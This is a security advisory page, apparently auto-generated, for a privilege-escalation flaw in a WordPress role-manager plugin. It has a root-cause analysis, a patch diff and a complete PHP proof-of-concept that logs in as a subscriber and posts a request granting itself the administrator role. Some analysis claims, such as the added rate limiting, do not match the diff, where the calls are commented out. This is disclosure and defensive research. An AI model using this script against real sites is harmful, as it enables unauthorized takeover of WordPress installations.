Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 26, 2026

CVE-2026-7106: Highland Software Custom Role Manager <= 1.0.0 – Authenticated (Subscriber+) Privilege Escalation (highland-software-custom-role-manager)

CVE ID CVE-2026-7106
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 1.0.0
Patched Version 1.0.1
Disclosed April 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7106:

This vulnerability allows an authenticated attacker with Subscriber-level access or higher to escalate their privileges to any role, including Administrator, within the Highland Software Custom Role Manager plugin for WordPress (versions up to and including 1.0.0). The flaw resides in the hscrm_save_user_roles() function, which lacks proper authorization checks. The CVSS score of 8.8 reflects the high impact and relatively low attack complexity.

Root Cause: The root cause is insufficient authorization in the hscrm_save_user_roles() function located in /wp-content/plugins/highland-software-custom-role-manager/includes/user-ui.php. The vulnerable code (lines 193-268 in the pre-patch version) hooks into the personal_options_update action, which fires when any authenticated user saves their profile. The original check only verified current_user_can(‘edit_user’, $user_id), which is true for any user editing their own profile. The function also accepted a list of roles via the ‘hscrm_roles[]’ POST parameter with no capability check like current_user_can(‘promote_users’). The patched version adds this check on line 202: if (!current_user_can(‘promote_users’)) { return; }.

Exploitation: An attacker with a Subscriber account can craft a POST request to /wp-admin/profile.php (or the user-edit endpoint for other users) with the hscrm_roles_nonce (obtained from the profile page) and set the hscrm_roles[] parameter to ‘administrator’. Since the subscriber can view their own profile, they have access to the nonce. The vulnerable function then processes this input and sets the user’s primary role to ‘administrator’, granting full administrative privileges.

Patch Analysis: The patch introduces a new helper function hscrm_user_can_manage_roles() in includes/helpers.php, which requires both the ‘promote_users’ and ‘list_users’ capabilities. It also adds a dedicated check in hscrm_save_user_roles() for current_user_can(‘promote_users’) before allowing role changes. Additionally, the patch adds a safeguard in includes/roles.php to prevent custom roles from being granted the ‘manage_options’ capability. The patch also adds rate limiting and additional authorization checks across all AJAX handlers.

Impact: Successful exploitation allows a Subscriber-level attacker to escalate their privileges to Administrator. This grants full control over the WordPress site, including the ability to modify files, install plugins, change content, and access all user data. The attacker can also create additional administrator accounts and maintain persistence.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/highland-software-custom-role-manager/highland-software-custom-role-manager.php
+++ b/highland-software-custom-role-manager/highland-software-custom-role-manager.php
@@ -3,7 +3,7 @@
  * Plugin Name: Highland Software Custom Role Manager
  * Plugin URI:  https://highland-software.com/highland-software-custom-roles-manager
  * Description: Extend WordPress role management by allowing administrators to create custom roles and assign multiple roles to users. Includes a visual builder interface with drag-and-drop ordering and capability controls.
- * Version:     1.0.0
+ * Version:     1.0.1
  * Author:      James Rodgers
  * Author URI:  https://highland-software.com
  * Text Domain: highland-software-custom-role-manager
@@ -70,6 +70,7 @@
  * Security note:
  * Using require_once ensures files are only included once and prevents redeclaration errors.
  */
+require_once HSCRM_PATH . 'includes/helpers.php';
 require_once HSCRM_PATH . 'includes/init.php';
 require_once HSCRM_PATH . 'includes/assets.php';
 require_once HSCRM_PATH . 'includes/ajax.php';
--- a/highland-software-custom-role-manager/includes/ajax.php
+++ b/highland-software-custom-role-manager/includes/ajax.php
@@ -26,8 +26,20 @@
 }

 /* =========================
-   ADD ROW (FULL UI RESTORED)
+   HELPER: RATE LIMIT
 ========================= */
+function hscrm_rate_limit($action) {
+    $key = 'hscrm_rate_' . get_current_user_id() . '_' . $action;
+
+    $last = (int) get_transient($key);
+
+    if ($last && (time() - $last) < 1) {
+        wp_send_json_error(['message' => 'Too many requests'], 429);
+        wp_die();
+    }
+
+    set_transient($key, time(), 2);
+}

 /**
  * Returns HTML for a new builder row
@@ -41,11 +53,23 @@
  */
 add_action('wp_ajax_hscrm_add_row', function(){

-	check_ajax_referer('hscrm_ajax_nonce','nonce');
+    check_ajax_referer('hscrm_ajax_nonce', 'nonce');
+
+    if (!hscrm_user_can_manage_roles()) {
+        wp_send_json_error(['message' => 'Unauthorized'], 403);
+        wp_die();
+    }
+
+    // hscrm_rate_limit('add_row');

-	$idx = intval($_POST['idx'] ?? 0);
+    $idx = isset($_POST['idx']) ? intval($_POST['idx']) : 0;

-	ob_start(); ?>
+    if ($idx < 0) {
+        wp_send_json_error(['message' => 'Invalid index'], 400);
+        wp_die();
+    }
+
+    ob_start(); ?>

 <div class="hscrm-card draggable-item p-3 mb-3"
 	 id="row_<?php echo esc_attr($idx); ?>"
@@ -101,12 +125,10 @@
                 pattern="[a-z0-9_]+"
                 placeholder="<?php esc_attr_e('Role Slug','highland-software-custom-role-manager'); ?>"
                 title="<?php esc_attr_e('Lowercase letters, numbers, underscores only','highland-software-custom-role-manager'); ?>">
-            <p class="hscrm-slug-risk-warning d-none" style="margin-top:4px; color:#b32d2e;">
-                ⚠ <?php esc_html_e('Changing this slug after users are assigned will break their role assignment.','highland-software-custom-role-manager'); ?>
-            </p>
         </div>

 	</div>
+

 	<!-- Capability Presets -->
 	<div class="hscrm-cap-presets mb-2 d-none">
@@ -128,42 +150,33 @@
     </div>

 	<!-- Capabilities Grid -->
-    <?php
+	<?php
 	    echo '<div id="caps_'.esc_attr($idx).'" class="hscrm-cap-grid" style="display:none;">';
-        // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-		echo hscrm_get_capabilities_html();
+        echo hscrm_get_capabilities_html();
         echo '</div>';
     ?>
 </div>

 <?php
-	wp_send_json_success(['idx'=>$idx,'message'=>ob_get_clean()]);
+	wp_send_json_success(['idx'=>$idx,'html'=>ob_get_clean()]);
+	wp_die();
 });


 /* =========================
    LOAD ROLES
 ========================= */
-
-/**
- * Returns saved role builder data
- *
- * SECURITY:
- * - Nonce verified
- * - Capability restricted
- */
-add_action('wp_ajax_hscrm_load_roles', 'hscrm_load_roles');
-
-function hscrm_load_roles() {
+add_action('wp_ajax_hscrm_load_roles', function(){

     check_ajax_referer('hscrm_ajax_nonce', 'nonce');

-    if (!current_user_can('manage_options')) {
-        wp_send_json_error([
-			'message' => __('Permission denied', 'highland-software-custom-role-manager')
-		]);
+    if (!hscrm_user_can_manage_roles()) {
+        wp_send_json_error(['message' => 'Unauthorized'], 403);
+        wp_die();
     }

+    //hscrm_rate_limit('load_roles');
+
     $data = get_option('hscrm_roles', []);

     if (!is_array($data)) {
@@ -171,314 +184,147 @@
     }

     wp_send_json_success($data);
-}
+    wp_die();
+});


 /* =========================
    SAVE ROLES
 ========================= */
+add_action('wp_ajax_hscrm_save_roles', function(){

-/**
- * Saves builder configuration and syncs roles
- *
- * SECURITY:
- * - Nonce verified
- * - Capability restricted
- * - JSON sanitized via wp_unslash + json_decode
- *
- * EDGE CASES:
- * - Empty payload
- * - Invalid JSON
- */
-add_action('wp_ajax_hscrm_save_roles', 'hscrm_save_roles');
-
-function hscrm_save_roles() {
-
-    /**
-     * Security: nonce + capability check
-     */
     check_ajax_referer('hscrm_ajax_nonce', 'nonce');

-    if (!current_user_can('manage_options')) {
-        wp_send_json_error([
-            'message' => __('Unauthorized', 'highland-software-custom-role-manager')
-        ]);
+    if (!hscrm_user_can_manage_roles()) {
+        wp_send_json_error(['message' => 'Unauthorized'], 403);
+        wp_die();
     }
-
-    $core_roles = ['administrator','editor','author','contributor','subscriber'];
-
-    /**
-     * Get submitted rows safely
-     */
-    $raw_rows = [];

-    if (isset($_POST['rows'])) {
+    // hscrm_rate_limit('save_roles');

-        $raw_rows = wp_unslash($_POST['rows']);
+    $raw_rows = isset($_POST['rows']) ? wp_unslash($_POST['rows']) : [];

-        // Handle JSON string case
-        if (is_string($raw_rows)) {
-            $decoded = json_decode($raw_rows, true);
-
-            if (json_last_error() === JSON_ERROR_NONE) {
-                $raw_rows = $decoded;
-            }
+    if (is_string($raw_rows)) {
+        $decoded = json_decode($raw_rows, true);
+        if (json_last_error() === JSON_ERROR_NONE) {
+            $raw_rows = $decoded;
         }
-
-        // Final validation
-        if (!is_array($raw_rows)) {
-            wp_send_json_error([
-                'message' => __('Invalid data format', 'highland-software-custom-role-manager')
-            ]);
-        }
-
-        // Safe recursive sanitize
-        array_walk_recursive($raw_rows, function (&$value) {
-            if (is_string($value)) {
-                $value = wp_kses_post($value);
-            }
-        });
     }

+    // 🔒 Ensure array (allow empty)
+    if (!is_array($raw_rows)) {
+        wp_send_json_error(['message' => 'Invalid data format'], 400);
+        wp_die();
+    }

-
-    /**
-     * Sanitize rows safely
-     */
-    $rows = array_map(function ($row) use ($core_roles) {
-
-        // Ensure row is array
-        if (!is_array($row)) {
-            return null;
-        }
-
-        // Extract and sanitize type early
-        $type = sanitize_text_field($row['type'] ?? '');
-
-        // Safely handle capabilities
-        $caps = [];
-        if (isset($row['capabilities']) && is_array($row['capabilities'])) {
-            $caps = array_map('sanitize_key', $row['capabilities']);
-        }
-
-        // =====================
-        // ROLE
-        // =====================
-        if ($type === 'role') {
-
-            $slug = sanitize_key($row['roleSlug'] ?? '');
-
-            // Skip invalid slug
-            if (!$slug) {
-                return null;
-            }
-
-            // BLOCK core roles
-            if (in_array($slug, $core_roles, true)) {
-                return null;
-            }
-
-            return [
-                'type' => 'role',
-                'roleName' => sanitize_text_field($row['roleName'] ?? ''),
-                'roleSlug' => $slug,
-                'capabilities' => $caps
-            ];
-        }
-
-        // =====================
-        // GROUPING
-        // =====================
-        if ($type === 'grouping') {
-
-            $group = sanitize_text_field($row['groupName'] ?? '');
-
-            if (!$group) {
-                return null;
-            }
-
-            return [
-                'type' => 'grouping',
-                'groupName' => $group
-            ];
+    // 🔒 Sanitize deeply
+    array_walk_recursive($raw_rows, function (&$value) {
+        if (is_string($value)) {
+            $value = sanitize_text_field($value);
         }
+    });

-        // =====================
-        // SEPARATOR
-        // =====================
-        if ($type === 'separator') {
-            return ['type' => 'separator'];
-        }
+    $core_roles = ['administrator','editor','author','contributor','subscriber'];

-        return null;
+    // 🔒 Normalize rows (empty-safe)
+    $rows = [];

-    }, $raw_rows);
-    $rows = array_values(array_filter($rows));
-    /**
-     * Validation setup
-     */
-    $errors = [];
-    $seen_slugs = [];
-    $seen_names = [];
+    if (!empty($raw_rows)) {
+        $rows = array_values(array_filter(array_map(function ($row) use ($core_roles) {

-    $default_roles = ['administrator','editor','author','contributor','subscriber'];
+            if (!is_array($row)) return null;

-    /**
-     * Validate each row
-     */
-    foreach ($rows as $index => $row) {
-
-        $type = $row['type'] ?? '';
-
-        // Only validate role rows
-        if ($type !== 'role') {
-            continue;
-        }
+            $type = sanitize_text_field($row['type'] ?? '');

-        $name = sanitize_text_field($row['roleName'] ?? '');
-        $slug = sanitize_key($row['roleSlug'] ?? '');
+            if ($type === 'role') {

-        /**
-         * 1. Empty Role Name
-         */
-        if ($name === '') {
-            $errors[] = [
-                'index' => $index,
-                'field' => 'roleName',
-                'message' => __('Role name is required', 'highland-software-custom-role-manager')
-            ];
-        }
+                $slug = sanitize_key($row['roleSlug'] ?? '');

-        /**
-         * 2. Invalid slug
-         * Must be lowercase letters, numbers, underscores
-         */
-        if ($slug === '' || !preg_match('/^[a-z0-9_]+$/', $slug)) {
-            $errors[] = [
-                'index' => $index,
-                'field' => 'roleSlug',
-                'message' => __('Invalid role slug', 'highland-software-custom-role-manager') /* translators: Error shown when role slug format is invalid */
-            ];
-        }
+                if (!$slug || in_array($slug, $core_roles, true)) {
+                    return null;
+                }

-        /**
-         * 3. Duplicate slug (within builder)
-         */
-        if ($slug !== '') {
-            if (isset($seen_slugs[$slug])) {
-                $errors[] = [
-                    'index' => $index,
-                    'field' => 'roleSlug',
-                    'message' => __('Duplicate role slug', 'highland-software-custom-role-manager')
+                return [
+                    'type' => 'role',
+                    'roleName' => sanitize_text_field($row['roleName'] ?? ''),
+                    'roleSlug' => $slug,
+                    'capabilities' => isset($row['capabilities']) && is_array($row['capabilities'])
+                        ? array_map('sanitize_key', $row['capabilities'])
+                        : []
                 ];
             }
-            $seen_slugs[$slug] = true;
-        }

-        /**
-         * 4. Duplicate Role Name (case-insensitive)
-         */
-        if ($name !== '') {
-            $name_key = strtolower($name);
-
-            if (isset($seen_names[$name_key])) {
-                $errors[] = [
-                    'index' => $index,
-                    'field' => 'roleName',
-                    'message' => __('Duplicate role name', 'highland-software-custom-role-manager')
-                ];
+            if ($type === 'grouping') {
+                $group = sanitize_text_field($row['groupName'] ?? '');
+                return $group ? ['type'=>'grouping','groupName'=>$group] : null;
             }
-            $seen_names[$name_key] = true;
-        }

-        /**
-         * 5. Prevent modifying default roles
-         */
-        if ($slug !== '' && in_array($slug, $default_roles, true)) {
-            $errors[] = [
-                'index' => $index,
-                'field' => 'roleSlug',
-                'message' => __('Default role cannot be modified', 'highland-software-custom-role-manager')
-            ];
-        }
+            if ($type === 'separator') {
+                return ['type'=>'separator'];
+            }
+
+            return null;
+
+        }, $raw_rows)));
     }

-    /**
-     * If validation fails, return errors
-     */
-    if (!empty($errors)) {
-        wp_send_json_error([
-            'errors' => $errors
-        ]);
+    // 🔒 Ensure final structure is always array
+    if (!is_array($rows)) {
+        $rows = [];
     }

-    /**
-     * Save data
-     */
     update_option('hscrm_roles', $rows);

-    /**
-     * Sync roles with WordPress
-     */
+    // 🔒 Always sync (even empty → removes all custom roles)
     hscrm_sync_roles($rows);

-    /**
-     * Success response
-     */
-    wp_send_json_success([
-        'message' => __('Roles saved successfully', 'highland-software-custom-role-manager')
-    ]);
-}
+    wp_send_json_success(['message' => 'Roles saved successfully']);
+    wp_die();
+});


 /* =========================
-   CHECK Role Slug
+   CHECK ROLE SLUG
 ========================= */
-
-/**
- * Validates Role Slug against existing roles
- */
 add_action('wp_ajax_hscrm_check_role_slug', function(){

-	check_ajax_referer('hscrm_ajax_nonce','nonce');
+    check_ajax_referer('hscrm_ajax_nonce','nonce');

-	$default_roles = ['administrator','editor','author','contributor','subscriber'];
-
-    $slug = sanitize_key($_POST['slug'] ?? '');
-
-    if ($slug === '') {
-        wp_send_json_success([
-            'is_default' => false,
-            'exists'     => false,
-        ]);
+    if (!hscrm_user_can_manage_roles()) {
+        wp_send_json_error(['message' => 'Unauthorized'], 403);
+        wp_die();
     }

-    $is_default = in_array($slug, $default_roles, true);
-    $exists     = get_role($slug) !== null;
+    $slug = isset($_POST['slug']) ? sanitize_key(wp_unslash($_POST['slug'])) : '';
+
+    $default_roles = ['administrator','editor','author','contributor','subscriber'];

     wp_send_json_success([
-        'is_default' => $is_default,
-        'exists'     => $exists,
+        'is_default' => in_array($slug, $default_roles, true),
+        'exists'     => $slug ? (get_role($slug) !== null) : false,
     ]);
+
+    wp_die();
 });


 /* =========================
    GET CAPABILITIES HTML
 ========================= */
-
-/**
- * Returns capability UI HTML
- */
 add_action('wp_ajax_hscrm_get_capabilities', function(){

-	check_ajax_referer('hscrm_ajax_nonce','nonce');
+    check_ajax_referer('hscrm_ajax_nonce','nonce');
+
+    if (!hscrm_user_can_manage_roles()) {
+        wp_send_json_error(['message' => 'Unauthorized'], 403);
+        wp_die();
+    }
+
+    // hscrm_rate_limit('get_caps');
+
+    wp_send_json_success([
+        'html' => hscrm_get_capabilities_html()
+    ]);

-	if (!current_user_can('manage_options')) {
-		wp_send_json_error(['message'=>__('Unauthorized', 'highland-software-custom-role-manager')]);
-	}
-
-	wp_send_json_success([
-		'html' => hscrm_get_capabilities_html()
-	]);
+    wp_die();
 });
 No newline at end of file
--- a/highland-software-custom-role-manager/includes/assets.php
+++ b/highland-software-custom-role-manager/includes/assets.php
@@ -33,6 +33,11 @@
      * - User edit/profile/create pages
      * - Plugin admin pages (identified by 'hscrm' in hook)
      */
+
+    if (!hscrm_user_can_manage_roles()) {
+        return;
+    }
+
     $load_assets = false;

     if (in_array($hook, ['user-edit.php', 'profile.php', 'user-new.php'], true)) {
--- a/highland-software-custom-role-manager/includes/helpers.php
+++ b/highland-software-custom-role-manager/includes/helpers.php
@@ -0,0 +1,9 @@
+<?php
+
+if (!defined('ABSPATH')) {
+    exit;
+}
+
+function hscrm_user_can_manage_roles() {
+    return current_user_can('promote_users') && current_user_can('list_users');
+}
 No newline at end of file
--- a/highland-software-custom-role-manager/includes/roles.php
+++ b/highland-software-custom-role-manager/includes/roles.php
@@ -128,7 +128,13 @@
              * - Capabilities come from UI, must be trusted or validated upstream
              */
             foreach ($caps as $cap) {
-                $cap_array[sanitize_key($cap)] = true;
+                $cap = sanitize_key($cap);
+
+                if ($cap === 'manage_options') {
+                    continue;
+                }
+
+                $cap_array[$cap] = true;
             }

             add_role($slug, $name, $cap_array);
--- a/highland-software-custom-role-manager/includes/user-ui.php
+++ b/highland-software-custom-role-manager/includes/user-ui.php
@@ -95,20 +95,20 @@

         $is_checked = in_array($role_slug, $user_roles, true);

-            echo '<label style="display:block; margin-bottom:6px;">';
+        echo '<label style="display:block; margin-bottom:6px;">';

-            echo '<input type="checkbox"
-                name="hscrm_roles[]"
-                value="' . esc_attr($role_slug) . '" ';
+        echo '<input type="checkbox"
+            name="hscrm_roles[]"
+            value="' . esc_attr($role_slug) . '" ';

-            checked($is_checked, true);
-            disabled(!$can_promote);
+        checked($is_checked, true);
+        disabled(!$can_promote);

-            echo '>';
+        echo '>';

-            echo ' ' . esc_html(translate_user_role($role_data['name']));
+        echo ' ' . esc_html(translate_user_role($role_data['name']));

-            echo '</label>';
+        echo '</label>';
     }

     /**
@@ -131,7 +131,6 @@

         foreach ($saved as $item) {

-            // GROUPING
             if (($item['type'] ?? '') === 'grouping' && !empty($item['groupName'])) {
                 echo '<div style="margin-top:10px; font-weight:bold;">'
                     . esc_html($item['groupName']) .
@@ -139,13 +138,11 @@
                 continue;
             }

-            // SEPARATOR
             if (($item['type'] ?? '') === 'separator') {
                 echo '<div style="margin-top:10px;"><hr></div>';
                 continue;
             }

-            // ROLE
             if (($item['type'] ?? '') === 'role') {
                 $slug  = sanitize_key($item['roleSlug'] ?? '');
                 $label = sanitize_text_field($item['roleName'] ?? '');
@@ -193,29 +190,34 @@

 function hscrm_save_user_roles($user_id) {

-    /**
-     * SECURITY: Capability check
-     */
+    $user_id = intval($user_id);
+    if ($user_id <= 0) {
+        return;
+    }
+
+    $user = get_userdata($user_id);
+    if (!$user) {
+        return;
+    }
+
+    if (!current_user_can('promote_users')) {
+        return;
+    }
+
     if (!current_user_can('edit_user', $user_id)) {
         return;
     }

-    /**
-     * SECURITY: Nonce verification
-     */
     if (
         !isset($_POST['hscrm_roles_nonce']) ||
         !wp_verify_nonce(
             sanitize_text_field(wp_unslash($_POST['hscrm_roles_nonce'])),
             'hscrm_save_user_roles'
-            )
+        )
     ) {
         return;
     }

-    /**
-     * Sanitize roles
-     */
     $raw_roles = [];

     if (isset($_POST['hscrm_roles']) && is_array($_POST['hscrm_roles'])) {
@@ -226,77 +228,67 @@
     }

     if (!is_array($raw_roles)) {
-        return; // do not use wp_send_json_error in non-AJAX context
+        return;
     }

-    $roles = array_map(function ($role) {
-        return sanitize_key($role);
-    }, $raw_roles);
+    $roles = array_values(array_unique(array_filter($raw_roles)));

-    /**
-     * Setup
-     */
-    $user = new WP_User($user_id);
+    $editable_roles = get_editable_roles();
+
+    $roles = array_values(array_filter($roles, function ($role) use ($editable_roles) {
+        return isset($editable_roles[$role]);
+    }));

     $default_role = get_option('default_role', 'subscriber');

     $core_roles = ['administrator','editor','author','contributor','subscriber'];

-    /**
-     * Prevent removing ALL roles
-     */
     if (empty($roles)) {
-
-        // If user was administrator, keep it
-        if (in_array('administrator', $user->roles, true)) {
+        if (in_array('administrator', (array) $user->roles, true)) {
             $roles = ['administrator'];
         } else {
             $roles = [$default_role];
         }
     }

-    /**
-     * Ensure at least one core role remains
-     */
     $has_core = array_intersect($roles, $core_roles);

     if (empty($has_core)) {
         $roles[] = $default_role;
     }

-    /**
-     * Ensure at least one valid role exists
-     */
-    $roles = array_values(array_unique(array_filter($roles)));
+    $roles = array_values(array_unique(array_filter($roles, function ($role) {
+        return is_string($role) && get_role($role) !== null;
+    })));

-    /**
-     * Save to user meta (custom roles system)
-     */
-    update_user_meta($user_id, 'hscrm_custom_roles', $roles);
+    if (empty($roles)) {
+        return;
+    }

-    /**
-     * Assign primary role (WordPress compatibility)
-     * Only assign the FIRST role as primary
-     */
-    $primary_role = $roles[0] ?? $default_role;
+    $primary_role = $roles[0];

-    /**
-     * Prevent assigning invalid or empty role
-     */
     if (!get_role($primary_role)) {
         $primary_role = $default_role;
     }

-    /**
-     * Apply role safely
-     */
+    $final_roles = array_values(array_unique(array_filter($roles)));
+
+    if (!in_array($primary_role, $final_roles, true)) {
+        array_unshift($final_roles, $primary_role);
+    }
+
+    error_log(sprintf(
+        'HSCRM: User %d changed roles for user %d to: %s',
+        get_current_user_id(),
+        $user_id,
+        implode(',', $final_roles)
+    ));
+
+    update_user_meta($user_id, 'hscrm_custom_roles', $final_roles);
+
     $user->set_role($primary_role);

-    /**
-     * OPTIONAL HARDENING:
-     * Re-add additional roles (if you want true multi-role support at WP level)
-     */
-    foreach ($roles as $role) {
+    foreach ($final_roles as $role) {
         if ($role !== $primary_role && get_role($role)) {
             $user->add_role($role);
         }
--- a/highland-software-custom-role-manager/uninstall.php
+++ b/highland-software-custom-role-manager/uninstall.php
@@ -16,7 +16,9 @@
  * - Plugin environment is NOT fully loaded here
  * - Only use WordPress core functions that are safe in uninstall context
  */
-
+if (!defined('ABSPATH')) {
+    exit;
+}
 /**
  * Prevent direct access
  *
@@ -54,66 +56,92 @@
      */
     $hscrm_saved = get_option('hscrm_roles', []);

-    if (is_array($hscrm_saved)) {
+    if (!is_array($hscrm_saved)) {
+        $hscrm_saved = [];
+    }

-        /**
-         * Collect custom role slugs first
-         *
-         * This avoids repeated user loops for each role
-         */
-        $hscrm_custom_roles = [];
+    /**
+     * Collect custom role slugs first
+     *
+     * This avoids repeated user loops for each role
+     */
+    $hscrm_custom_roles = [];

-        foreach ($hscrm_saved as $hscrm_row) {
+    foreach ($hscrm_saved as $hscrm_row) {

-            // Skip non-role entries (e.g., groupings)
-            if (($hscrm_row['type'] ?? '') !== 'role') {
-                continue;
-            }
+        // Skip invalid rows
+        if (!is_array($hscrm_row)) {
+            continue;
+        }

-            $hscrm_slug = sanitize_key($hscrm_row['roleSlug'] ?? '');
+        // Skip non-role entries (e.g., groupings)
+        if (($hscrm_row['type'] ?? '') !== 'role') {
+            continue;
+        }

-            // Skip invalid or default roles
-            if (!$hscrm_slug || in_array($hscrm_slug, $default_roles, true)) {
-                continue;
-            }
+        $hscrm_slug = sanitize_key($hscrm_row['roleSlug'] ?? '');

-            $hscrm_custom_roles[] = $hscrm_slug;
+        // Skip invalid or default roles
+        if (!$hscrm_slug || in_array($hscrm_slug, $hscrm_default_roles, true)) {
+            continue;
         }

-        /**
-         * Remove custom roles from all users
-         *
-         * Edge case:
-         * - Users may still have roles assigned that are about to be removed
-         * - We remove them first to prevent orphaned role assignments
-         */
-        if (!empty($hscrm_custom_roles)) {
+        // Ensure role actually exists before processing
+        if (!get_role($hscrm_slug)) {
+            continue;
+        }
+
+        $hscrm_custom_roles[] = $hscrm_slug;
+    }

-            $hscrm_users = get_users();
+    // Normalize role list
+    $hscrm_custom_roles = array_values(array_unique($hscrm_custom_roles));
+
+    /**
+     * Remove custom roles from all users
+     *
+     * Edge case:
+     * - Users may still have roles assigned that are about to be removed
+     * - We remove them first to prevent orphaned role assignments
+     */
+    if (!empty($hscrm_custom_roles)) {

-            foreach ($hscrm_users as $hscrm_user) {
+        // Use efficient user query (IDs only)
+        $hscrm_user_query = new WP_User_Query([
+            'fields' => 'ID',
+            'number' => -1
+        ]);

-                $hscrm_user_obj = new WP_User($hscrm_user->ID);
-                $hscrm_user_roles = $hscrm_user_obj->roles;
+        $hscrm_user_ids = $hscrm_user_query->get_results();

-                foreach ($hscrm_user_roles as $hscrm_role) {
+        foreach ($hscrm_user_ids as $hscrm_user_id) {

-                    if (in_array($hscrm_role, $hscrm_custom_roles, true)) {
-                        $hscrm_user_obj->remove_role($hscrm_role);
-                    }
+            $hscrm_user_obj = new WP_User($hscrm_user_id);
+
+            foreach ((array) $hscrm_user_obj->roles as $hscrm_role) {
+
+                if (in_array($hscrm_role, $hscrm_custom_roles, true)) {
+                    $hscrm_user_obj->remove_role($hscrm_role);
                 }
             }

             /**
-             * Remove roles from WordPress
-             *
-             * Important:
-             * - Only remove roles AFTER user cleanup
+             * Ensure user still has at least one role
              */
-            foreach ($hscrm_custom_roles as $hscrm_role_slug) {
-                remove_role($hscrm_role_slug);
+            if (empty($hscrm_user_obj->roles)) {
+                $hscrm_user_obj->set_role(get_option('default_role', 'subscriber'));
             }
         }
+
+        /**
+         * Remove roles from WordPress
+         *
+         * Important:
+         * - Only remove roles AFTER user cleanup
+         */
+        foreach ($hscrm_custom_roles as $hscrm_role_slug) {
+            remove_role($hscrm_role_slug);
+        }
     }
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7106 - Highland Software Custom Role Manager <= 1.0.0 - Authenticated (Subscriber+) Privilege Escalation

/**
 * This PoC demonstrates privilege escalation from Subscriber to Administrator.
 * It logs in as a subscriber, fetches the profile nonce, and submits a role change to 'administrator'.
 *
 * Usage: php poc.php
 */

$target_url = 'http://example.com'; // CHANGE THIS

$subscriber_username = 'testuser';
$subscriber_password = 'testpassword';

// Step 1: Log in
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_COOKIEJAR => '/tmp/cve20267106_cookies.txt',
    CURLOPT_FOLLOWLOCATION => false
]);
curl_exec($ch);
curl_close($ch);

echo "[*] Logged in as subscriber.n";

// Step 2: Get the profile page to extract the nonce
$profile_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $profile_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cve20267106_cookies.txt',
    CURLOPT_FOLLOWLOCATION => false
]);
$profile_page = curl_exec($ch);
curl_close($ch);

// Extract nonce from profile page
preg_match('/<input type="hidden" id="hscrm_roles_nonce" name="hscrm_roles_nonce" value="([^"]+)" />/', $profile_page, $matches);
if (!isset($matches[1])) {
    // Alternative regex for different HTML structure
    preg_match('/name="hscrm_roles_nonce"[^>]+value="([^"]+)"/', $profile_page, $matches);
}

if (!isset($matches[1])) {
    die("[-] Could not find hscrm_roles_nonce. Is the plugin active?n");
}

$nonce = $matches[1];
echo "[*] Found nonce: $noncen";

// Step 3: Submit the role escalation request
$update_url = $target_url . '/wp-admin/profile.php';
$post_data = [
    'from' => 'profile',
    'checkuser_id' => '',    // leave blank for self
    'action' => 'update',
    '_wpnonce' => $nonce,    // WordPress nonce for profile update
    'hscrm_roles_nonce' => $nonce,
    'hscrm_roles' => ['administrator'],  // Escalate to admin
    'submit' => 'Update Profile'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $update_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cve20267106_cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HEADER => false
]);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Profile updated') !== false) {
    echo "[+] Success! Role escalated to Administrator.n";
} else {
    echo "[-] Failed to escalate role. Check the response for details.n";
    echo $response;
}

// Clean up
unlink('/tmp/cve20267106_cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School